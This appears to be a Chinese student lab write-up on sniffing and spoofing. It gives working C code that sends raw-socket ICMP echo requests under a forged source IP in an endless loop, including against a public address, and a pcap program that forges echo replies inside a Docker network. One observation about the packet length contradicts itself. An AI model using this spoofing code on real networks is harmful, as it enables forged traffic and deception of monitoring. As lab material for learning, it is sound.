* @brief 初始化icmp数据包
*
* @param icmp
* @param type
* @param code
*/
void init_icmp_header(struct icmpheader *icmp, int type, int code)
{
// 设置ICMP报文的类型
icmp->icmp_type = type;
if (type == ICMP_ECHOREPLY)
{
// 设置ICMP报文的代码
icmp->icmp_code = code;
}
// 计算ICMP报文的校验和
icmp->icmp_chksum = 0;
// 计算ICMP报文的校验和
icmp->icmp_chksum = checksum((unsigned short *)icmp,
sizeof(struct icmpheader));
}
与Task2.2A相同
/**
* @brief 创建一个原始套接字
*
* @return int
*/
int make_raw_socket()
{
int fd;
int on = 1;
// 创建一个原始套接字
fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (fd == -1)
{
return -1;
}
// 设置需要手动构建IP头部
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0)
{
close(fd);
return -1;
}
return fd;
}
函数接受一个套接字描述符 sock
和一个指向 struct iphdr
结构体的指针 ip
作为参数。函数首先设置目标地址信息 dest_info
,其中包括目标地址的协议类型和 IP 地址。最后,函数调用 sendto
函数发送 IP 报文。
/**
* @brief 发送ping报文
*
* @param sock
* @param ip
*/
void send_raw_ip_packet(int sock, struct iphdr *ip)
{
// struct sockaddr_in dest_info;
struct sockaddr_in dest_info;
// 设置IP地址的协议类型
dest_info.sin_family = AF_INET;
// 设置IP地址
dest_info.sin_addr.s_addr = ip->daddr;
// 打印IP地址
printf("icmp send to %s\n", inet_ntoa(dest_info.sin_addr));
// 发送IP报文
sendto(sock, ip, ntohs(ip->tot_len), 0,
(struct sockaddr *)&dest_info, sizeof(dest_info));
}
完整代码如下所示
// 拼接上面的代码即可
/******************************************************************
Spoof an ICMP echo request using an arbitrary source IP Address
*******************************************************************/
int main(int argc, char **argv)
{
char buffer[1500];
memset(buffer, 0, 1500);
int sock = make_raw_socket();
/*********************************************************
Step 1: Fill in the ICMP header.
********************************************************/
struct icmpheader *icmp = (struct icmpheader *)(buffer + sizeof(struct iphdr));
init_icmp_header(icmp, ICMP_ECHO, 0);
/*********************************************************
Step 2: Fill in the IP header.
********************************************************/
struct iphdr *ip = (struct iphdr *)buffer;
init_ip_header(ip, inet_addr("10.0.2.15"),
inet_addr(argv[1]));
// 计算IP校验和
ip->check = checksum((u_short *)ip, sizeof(struct iphdr));
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(argv[1]);
/*********************************************************
Step 3: Finally, send the spoofed packet
********************************************************/
while (1)
{
send_raw_ip_packet(sock, ip);
sleep(1);
}
close(sock);
return 0;
}
使用tcpdump监听地址为10.0.2.15的网络接口的icmp数据包
sudo tcpdump -i enp0s3 -v icmp
然后编译运行伪造ICMP报文的程序并运行
gcc -o ping ping.c # 编译
sudo ./ping 43.138.70.209 # 运行
运行结果如下,通过tcpdump可知能够正常发送ICMP Echo数据包并收到ICMP Reply回复。
能把IP包的长度设置为任意数值,而不管实际的包的大小吗? 不能,调大调小都是不正确的行为。
修改初始化IP头部的代码如下,将len设置为一个较小的值
然后重新编译运行,发现ICMP Echo报文有去无回,无法收到ICMP Reply报文。
修改初始化IP头部的代码如下,将len设置为一个较大的值
然后重新编译运行,发现ICMP Echo报文有去无回,也能正常收到ICMP Reply报文。
是不是说明调大不会影响数据包的正常接收,而调小会呢?事实上,调大调小都可能会导致错误通信。当 IP 报头的长度字段比实际长度大时可能导致:
使用原始套接字时,需要计算IP报文的校验和吗? 可以不需要。 操作系统中的网络协议栈会自动处理IP头部的计算和填充。它会根据IP头部中的各个字段的值,按照IP协议规范中定义的计算方法,自动生成正确的校验和,并将其填充到IP头部的校验和字段中。
修改main函数,将校验和计算过程注释掉,如下所示。
然后重新编译运行,发现能够正常发送ICMP Echo并得到ICMP Reply响应。
现代操作系统的网络协议栈通常会自动计算和填充IP头部的校验和字段。当使用原始套接字发送IP数据包时,操作系统会负责处理IP头部的构建和校验和计算。我们只需要构造IP数据包的内容,将其传递给操作系统,并通过原始套接字发送即可。
为什么时原始套接字需要root权限? 通过原始套接字,可以直接访问和操作网络层的数据包,包括构造和发送自定义的网络数据包。所有会存在潜在的安全风险,因此必须要root权限。如果没有root权限,在创建原始套接字过程就会失败了。
编写一个程序能够响应ICMP ECHO,伪造ICMP Reply。
定义了ICMP报头和以太网帧报头
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <pcap.h>
#define ICMP_ECHO 8
#define ICMP_ECHOREPLY 0
/* Ethernet header */
struct ethheader {
u_char ether_dhost[6];
// 目的mac地址
u_char ether_shost[6];
// 源mac地址
u_short ether_type;
};
/* ICMP Header */
struct icmpheader
{
unsigned char icmp_type; // ICMP message type
unsigned char icmp_code; // Error code
unsigned short int icmp_chksum; // Checksum for ICMP Header and data
unsigned short int icmp_id; // Used for identifying request
unsigned short int icmp_seq; // Sequence number
};
同上Taks2.2B,略
同上Taks2.2B,略
同上Taks2.2B,略
同上Taks2.2B,略
首先将捕获到的数据包解析为以太网帧,然后进行处理。接下来,使用 make_raw_socket
函数创建了一个原始套接字。然后,它检查以太网帧的类型是否为 IPv4,并将以太网帧转换为 IPv4 头部。
如果协议类型为 ICMP,伪造一个ICMP Echo Reply报文,并使用 send_raw_ip_packet
函数发送伪造的回复报文。
/**
* @brief 回调函数
*
* @param args
* @param header
* @param packet
*/
void handler(u_char *args, const struct pcap_pkthdr *header,
const u_char *packet)
{
printf("*****************************************************\n");
// 将数据包解析为以太网帧
struct ethheader *eth = (struct ethheader *)packet;
// 创建原始套接字
int sock = make_raw_socket();
// 如果以太网帧类型为IPv4
if (ntohs(eth->ether_type) == 0x0800)
{ // 0x0800 is IP type
// 将以太网帧转换为IPv4
struct iphdr *ip = (struct iphdr *)(packet + sizeof(struct ethheader));
// 获取源地址和目标地址
struct in_addr addr;
struct in_addr daddr;
addr.s_addr = ip->saddr;
daddr.s_addr = ip->daddr;
// 打印源地址和目标地址
printf("From: %s ", inet_ntoa(addr));
printf("To: %s ", inet_ntoa(daddr));
// 判断协议类型
if (ip->protocol == IPPROTO_ICMP)
printf("protocal: ICMP\n");
else
printf("protocal: Others\n");
struct icmpheader *icmp_pkt = (struct icmpheader *)(packet + sizeof(struct ethheader)
+ sizeof(struct iphdr));
if (ip->protocol == IPPROTO_ICMP)
{
char buffer[1500];
memset(buffer, 0, 1500);
/*********************************************************
Step 1: Fill in the ICMP header.
********************************************************/
struct icmpheader *icmp = (struct icmpheader *)(buffer + sizeof(struct iphdr));
icmp->icmp_id = icmp_pkt->icmp_id;
icmp->icmp_seq = icmp_pkt->icmp_seq;
init_icmp_header(icmp, ICMP_ECHOREPLY, 0);
printf("icmp id: %d, seq: %d\n", ntohs(icmp_pkt->icmp_id), ntohs(icmp_pkt->icmp_seq));
/*********************************************************
Step 2: Fill in the IP header.
********************************************************/
struct iphdr *ipp = (struct iphdr *)buffer;
init_ip_header(ipp, ip->daddr, ip->saddr);
addr.s_addr = ipp->saddr;
daddr.s_addr = ipp->daddr;
printf("send reply source :%s\n", inet_ntoa(addr));
printf("send reply dest: %s\n", inet_ntoa(daddr));
/*********************************************************
Step 3: Finally, send the spoofed packet
********************************************************/
send_raw_ip_packet(sock, ipp);
}
}
close(sock);
}
首先打开一个与网络接口 "br-0d32c54e0d4e"
相关联的 live pcap 会话。pcap_open_live
函数返回一个 pcap 句柄。如果打开会话成功,会打印相关信息。然后,将过滤表达式 "icmp[icmptype]==icmp-echo"
编译为 BPF(Berkley Packet Filter)伪代码。pcap_compile
函数将过滤表达式编译为过滤程序,并将结果存储在 fp
中。接下来,使用 pcap_setfilter
函数将过滤程序应用于 pcap 句柄,以便仅捕获 ICMP Echo 类型的报文。最后,使用 pcap_loop
函数开始捕获数据包。pcap_loop
函数会循环捕获数据包,并将每个捕获到的数据包传递给 handler
回调函数进行处理。
int main(int argc, char **argv)
{
pcap_t *handle;
char errbuf[PCAP_ERRBUF_SIZE];
struct bpf_program fp;
char filter_exp[] = "icmp[icmptype]==icmp-echo";
bpf_u_int32 net;
// Step 1: Open live pcap session on NIC with name br-0d32c54e0d4e
handle = pcap_open_live("br-0d32c54e0d4e", BUFSIZ, 1, 1000, errbuf);
printf("listening on network card, ret: %p...\n", handle);
// Step 2: Compile filter_exp into BPF psuedo-code
printf("try to compile filter...\n");
pcap_compile(handle, &fp, filter_exp, 0, net);
printf("try to set filter...\n");
pcap_setfilter(handle, &fp);
// Step 3: Capture packets
printf("start to sniff...\n");
pcap_loop(handle, -1, handler, NULL);
pcap_close(handle); // Close the handle
return 0;
}
完整代码如下
// 拼接上面的代码即可
在10.9.0.1主机编译运行这段代码
gcc -o ping_spf ping_spoof.c -lpcap
sudo ./ping_spf
然后进入一个docker容器,然后ping同一网段下的另一台主机10.9.0.6
docker exec -it 1898eb81c8e4 bin/bash
ping 10.9.0.6
运行结果
------本页内容已结束,喜欢请分享------